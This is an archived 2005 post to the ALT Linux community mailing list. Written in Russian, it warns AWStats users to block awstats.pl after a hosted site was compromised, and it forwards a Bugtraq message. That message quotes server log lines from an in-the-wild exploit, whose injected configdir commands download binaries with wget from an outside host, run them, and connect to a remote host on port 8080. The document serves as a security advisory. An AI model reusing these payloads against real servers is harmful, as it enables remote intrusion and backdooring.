* [Comm] UI: awstats trouble
@ 2005-01-28 9:25 Michael Shigorin
0 siblings, 0 replies; only message in thread
From: Michael Shigorin @ 2005-01-28 9:25 UTC (permalink / raw)
To: community; +Cc: support
[-- Attachment #1.1: Type: text/plain, Size: 382 bytes --]
Здравствуйте.
Пользователям awstats настоятельно рекомендую заблокировать
доступ к awstats.pl -- вчерашнее предупреждение в bugtaq@
соответствует реальности, ночью на одном из хостящихся у нас
проектов эту дырку использовали бразильские обезьяны для
повешения спам-трояна.
--
---- WBR, Michael Shigorin <mike@altlinux.ru>
------ Linux.Kiev http://www.linux.kiev.ua/
[-- Attachment #1.2: Type: message/rfc822, Size: 2729 bytes --]
From: Delian Krustev <krustev@krustev.net>
To: bugtraq@securityfocus.com, full-disclosure@lists.netsys.com, security-alerts@linuxsecurity.com
Subject: Re: [ GLSA 200501-36 ] AWStats: Remote code execution
Date: Wed, 26 Jan 2005 20:31:51 +0200
Message-ID: <200501262031.51944.krustev@krustev.net>
There's an exploit in the wild. Here's what it does:
200.96.166.252 - - [26/Jan/2005:06:32:00 +0000] "GET /cgi-bin/awstats/awstats.pl?configdir=|cd%20/tmp;wget%20http://www.nokiacentrum.cz/dcha0s/cgi;ls%20-la%20cgi;chmod%20777%20cgi;./cgi;%00 HTTP/1.1" 200 538 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
200.96.166.252 - - [26/Jan/2005:06:34:30 +0000] "GET /cgi-bin/awstats/awstats.pl?configdir=|cd%20/tmp;wget%20http://www.nokiacentrum.cz/dcha0s/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00 HTTP/1.1" 200 554 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
I don't have the time to investigate the "cgi" and "dc" binaries.
The "cgi" at least tries to daemonize and opens a TCP listening socket.
They also try to replace the index page on the vulnerable site.
[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] only message in thread
only message in thread, other threads:[~2005-01-28 9:25 UTC | newest]
Thread overview: (only message) (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2005-01-28 9:25 [Comm] UI: awstats trouble Michael Shigorin
ALT Linux Community general discussions
This inbox may be cloned and mirrored by anyone:
git clone --mirror http://lore.altlinux.org/community/0 community/git/0.git
# If you have public-inbox 1.1+ installed, you may
# initialize and index your mirror using the following commands:
public-inbox-init -V2 community community/ http://lore.altlinux.org/community \
mandrake-russian@linuxteam.iplabs.ru community@lists.altlinux.org community@lists.altlinux.ru community@lists.altlinux.com
public-inbox-index community
Example config snippet for mirrors.
Newsgroup available over NNTP:
nntp://lore.altlinux.org/org.altlinux.lists.community
AGPL code for this site: git clone https://public-inbox.org/public-inbox.git